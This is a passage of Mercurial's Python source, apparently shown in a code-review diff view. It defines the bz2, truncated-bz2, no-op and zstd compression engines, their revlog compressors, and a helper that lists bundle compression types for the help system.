3471 3497 compengines.register(_zlibengine())
3472 3498
3473 3499 class _bz2engine(compressionengine):
3474 3500 def name(self):
3475 3501 return 'bz2'
3476 3502
3477 3503 def bundletype(self):
3478 3504 """An algorithm that produces smaller bundles than ``gzip``.
3479 3505
3480 3506 All Mercurial clients should support this format.
3481 3507
3482 3508 This engine will likely produce smaller bundles than ``gzip`` but
3483 3509 will be significantly slower, both during compression and
3484 3510 decompression.
3485 3511
3486 3512 If available, the ``zstd`` engine can yield similar or better
3487 3513 compression at much higher speeds.
3488 3514 """
3489 3515 return 'bzip2', 'BZ'
3490 3516
3491 3517 # We declare a protocol name but don't advertise by default because
3492 3518 # it is slow.
3493 3519 def wireprotosupport(self):
3494 3520 return compewireprotosupport('bzip2', 0, 0)
3495 3521
3496 3522 def compressstream(self, it, opts=None):
3497 3523 opts = opts or {}
3498 3524 z = bz2.BZ2Compressor(opts.get('level', 9))
3499 3525 for chunk in it:
3500 3526 data = z.compress(chunk)
3501 3527 if data:
3502 3528 yield data
3503 3529
3504 3530 yield z.flush()
3505 3531
3506 3532 def decompressorreader(self, fh):
3507 3533 def gen():
3508 3534 d = bz2.BZ2Decompressor()
3509 3535 for chunk in filechunkiter(fh):
3510 3536 yield d.decompress(chunk)
3511 3537
3512 3538 return chunkbuffer(gen())
3513 3539
3514 3540 compengines.register(_bz2engine())
3515 3541
3516 3542 class _truncatedbz2engine(compressionengine):
3517 3543 def name(self):
3518 3544 return 'bz2truncated'
3519 3545
3520 3546 def bundletype(self):
3521 3547 return None, '_truncatedBZ'
3522 3548
3523 3549 # We don't implement compressstream because it is hackily handled elsewhere.
3524 3550
3525 3551 def decompressorreader(self, fh):
3526 3552 def gen():
3527 3553 # The input stream doesn't have the 'BZ' header. So add it back.
3528 3554 d = bz2.BZ2Decompressor()
3529 3555 d.decompress('BZ')
3530 3556 for chunk in filechunkiter(fh):
3531 3557 yield d.decompress(chunk)
3532 3558
3533 3559 return chunkbuffer(gen())
3534 3560
3535 3561 compengines.register(_truncatedbz2engine())
3536 3562
3537 3563 class _noopengine(compressionengine):
3538 3564 def name(self):
3539 3565 return 'none'
3540 3566
3541 3567 def bundletype(self):
3542 3568 """No compression is performed.
3543 3569
3544 3570 Use this compression engine to explicitly disable compression.
3545 3571 """
3546 3572 return 'none', 'UN'
3547 3573
3548 3574 # Clients always support uncompressed payloads. Servers don't because
3549 3575 # unless you are on a fast network, uncompressed payloads can easily
3550 3576 # saturate your network pipe.
3551 3577 def wireprotosupport(self):
3552 3578 return compewireprotosupport('none', 0, 10)
3553 3579
3554 3580 # We don't implement revlogheader because it is handled specially
3555 3581 # in the revlog class.
3556 3582
3557 3583 def compressstream(self, it, opts=None):
3558 3584 return it
3559 3585
3560 3586 def decompressorreader(self, fh):
3561 3587 return fh
3562 3588
3563 3589 class nooprevlogcompressor(object):
3564 3590 def compress(self, data):
3565 3591 return None
3566 3592
3567 3593 def revlogcompressor(self, opts=None):
3568 3594 return self.nooprevlogcompressor()
3569 3595
3570 3596 compengines.register(_noopengine())
3571 3597
3572 3598 class _zstdengine(compressionengine):
3573 3599 def name(self):
3574 3600 return 'zstd'
3575 3601
3576 3602 @propertycache
3577 3603 def _module(self):
3578 3604 # Not all installs have the zstd module available. So defer importing
3579 3605 # until first access.
3580 3606 try:
3581 3607 from . import zstd
3582 3608 # Force delayed import.
3583 3609 zstd.__version__
3584 3610 return zstd
3585 3611 except ImportError:
3586 3612 return None
3587 3613
3588 3614 def available(self):
3589 3615 return bool(self._module)
3590 3616
3591 3617 def bundletype(self):
3592 3618 """A modern compression algorithm that is fast and highly flexible.
3593 3619
3594 3620 Only supported by Mercurial 4.1 and newer clients.
3595 3621
3596 3622 With the default settings, zstd compression is both faster and yields
3597 3623 better compression than ``gzip``. It also frequently yields better
3598 3624 compression than ``bzip2`` while operating at much higher speeds.
3599 3625
3600 3626 If this engine is available and backwards compatibility is not a
3601 3627 concern, it is likely the best available engine.
3602 3628 """
3603 3629 return 'zstd', 'ZS'
3604 3630
3605 3631 def wireprotosupport(self):
3606 3632 return compewireprotosupport('zstd', 50, 50)
3607 3633
3608 3634 def revlogheader(self):
3609 3635 return '\x28'
3610 3636
3611 3637 def compressstream(self, it, opts=None):
3612 3638 opts = opts or {}
3613 3639 # zstd level 3 is almost always significantly faster than zlib
3614 3640 # while providing no worse compression. It strikes a good balance
3615 3641 # between speed and compression.
3616 3642 level = opts.get('level', 3)
3617 3643
3618 3644 zstd = self._module
3619 3645 z = zstd.ZstdCompressor(level=level).compressobj()
3620 3646 for chunk in it:
3621 3647 data = z.compress(chunk)
3622 3648 if data:
3623 3649 yield data
3624 3650
3625 3651 yield z.flush()
3626 3652
3627 3653 def decompressorreader(self, fh):
3628 3654 zstd = self._module
3629 3655 dctx = zstd.ZstdDecompressor()
3630 3656 return chunkbuffer(dctx.read_from(fh))
3631 3657
3632 3658 class zstdrevlogcompressor(object):
3633 3659 def __init__(self, zstd, level=3):
3634 3660 # Writing the content size adds a few bytes to the output. However,
3635 3661 # it allows decompression to be more optimal since we can
3636 3662 # pre-allocate a buffer to hold the result.
3637 3663 self._cctx = zstd.ZstdCompressor(level=level,
3638 3664 write_content_size=True)
3639 3665 self._dctx = zstd.ZstdDecompressor()
3640 3666 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3641 3667 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3642 3668
3643 3669 def compress(self, data):
3644 3670 insize = len(data)
3645 3671 # Caller handles empty input case.
3646 3672 assert insize > 0
3647 3673
3648 3674 if insize < 50:
3649 3675 return None
3650 3676
3651 3677 elif insize <= 1000000:
3652 3678 compressed = self._cctx.compress(data)
3653 3679 if len(compressed) < insize:
3654 3680 return compressed
3655 3681 return None
3656 3682 else:
3657 3683 z = self._cctx.compressobj()
3658 3684 chunks = []
3659 3685 pos = 0
3660 3686 while pos < insize:
3661 3687 pos2 = pos + self._compinsize
3662 3688 chunk = z.compress(data[pos:pos2])
3663 3689 if chunk:
3664 3690 chunks.append(chunk)
3665 3691 pos = pos2
3666 3692 chunks.append(z.flush())
3667 3693
3668 3694 if sum(map(len, chunks)) < insize:
3669 3695 return ''.join(chunks)
3670 3696 return None
3671 3697
3672 3698 def decompress(self, data):
3673 3699 insize = len(data)
3674 3700
3675 3701 try:
3676 3702 # This was measured to be faster than other streaming
3677 3703 # decompressors.
3678 3704 dobj = self._dctx.decompressobj()
3679 3705 chunks = []
3680 3706 pos = 0
3681 3707 while pos < insize:
3682 3708 pos2 = pos + self._decompinsize
3683 3709 chunk = dobj.decompress(data[pos:pos2])
3684 3710 if chunk:
3685 3711 chunks.append(chunk)
3686 3712 pos = pos2
3687 3713 # Frame should be exhausted, so no finish() API.
3688 3714
3689 3715 return ''.join(chunks)
3690 3716 except Exception as e:
3691 3717 raise error.RevlogError(_('revlog decompress error: %s') %
3692 3718 str(e))
3693 3719
3694 3720 def revlogcompressor(self, opts=None):
3695 3721 opts = opts or {}
3696 3722 return self.zstdrevlogcompressor(self._module,
3697 3723 level=opts.get('level', 3))
3698 3724
3699 3725 compengines.register(_zstdengine())
3700 3726
3701 3727 def bundlecompressiontopics():
3702 3728 """Obtains a list of available bundle compressions for use in help."""
3703 3729 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3704 3730 items = {}
3705 3731
3706 3732 # We need to format the docstring. So use a dummy object/type to hold it
3707 3733 # rather than mutating the original.
3708 3734 class docobject(object):
3709 3735 pass
3710 3736
3711 3737 for name in compengines:
3712 3738 engine = compengines[name]
3713 3739
3714 3740 if not engine.available():
3715 3741 continue
3716 3742
3717 3743 bt = engine.bundletype()
3718 3744 if not bt or not bt[0]:
3719 3745 continue
3720 3746
3721 3747 doc = pycompat.sysstr('``%s``\n %s') % (
3722 3748 bt[0], engine.bundletype.__doc__)
3723 3749
3724 3750 value = docobject()
3725 3751 value.__doc__ = doc
3726 3752
3727 3753 items[bt[0]] = value
3728 3754
3729 3755 return items
3730 3756
3731 3757 # convenient shortcut
3732 3758 dst = debugstacktrace
General Comments 0
You need to be logged in to leave comments. Login now